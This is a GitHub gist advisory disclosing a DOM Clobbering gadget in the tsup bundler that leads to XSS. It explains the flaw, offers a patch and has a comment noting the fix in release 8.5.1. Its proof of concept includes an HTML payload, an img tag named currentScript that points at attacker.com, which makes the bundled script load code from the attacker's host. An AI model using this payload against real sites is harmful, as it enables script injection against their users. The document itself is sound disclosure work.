Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Created October 31, 2024 15:32
Show Gist options
  • Select an option

  • Save jackfromeast/36f98bf7542d11835c883c1d175d9b92 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/36f98bf7542d11835c883c1d175d9b92 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in tsup bundled scripts that leads to XSS

Summary

We identified a DOM Clobbering vulnerability in the Tsup bundler (version 8.3.4). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have found similar issues in the other popular client-side bundler libraries, including Webpack (CVE-2024-43788) and Vite (CVE-2024-45812), which might be good references to this kind of vulnerability. Due to the popularity of Tsup among JavaScript projects, we believe it is important to make Tsup resilient against DOM Clobbering attacks.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gagdet found in Tsup

Tsup will translate the import.meta.url to document.currentScript in cjs_shims.js to determine the URL of the current script.

// node_modules/tsup/assets/cjs_shims.js
var getImportMetaUrl = () => typeof document === "undefined" ? new URL(`file:${__filename}`).href : document.currentScript && document.currentScript.src || new URL("main.js", document.baseURI).href;
var importMetaUrl = /* @__PURE__ */ getImportMetaUrl();

This code is vulnerable because an attacker can inject an HTML element, such as <img name="currentScript" src="https://attacker.com">, which will be referenced as document.currentScript, setting importMetaUrl to the attacker's controlled URL.

PoC

To demonstrate this vulnerability, bundle the following JavaScript with Tsup and then use it on a webpage with an injected img element.

var s = document.createElement('script');
s.src = import.meta.url + 'extra.js';
document.head.append(s);

Example usage of the tsup bundled script:

<!-- Payload -->
<img name="currentScript" src="https://attacker.com/a"></img>
<!-- Payload -->

<!-- Library -->
<script src="dist/index.js"></script>
<!-- Library -->

In the example, the extra.js will be loaded from the attacker.com.

Patch

To prevent this issue, a simple fix would involve verifying that document.currentScript is a <script> element, ensuring only legitimate scripts are recognized:

var getImportMetaUrl = () => typeof document === "undefined" ? new URL(`file:${__filename}`).href : (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') ? document.currentScript.src : new URL("main.js", document.baseURI).href;
@benhoad
Copy link

benhoad commented Nov 13, 2025

tsup release 8.5.1 has the above fix: https://github.com/egoist/tsup/releases/tag/v8.5.1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment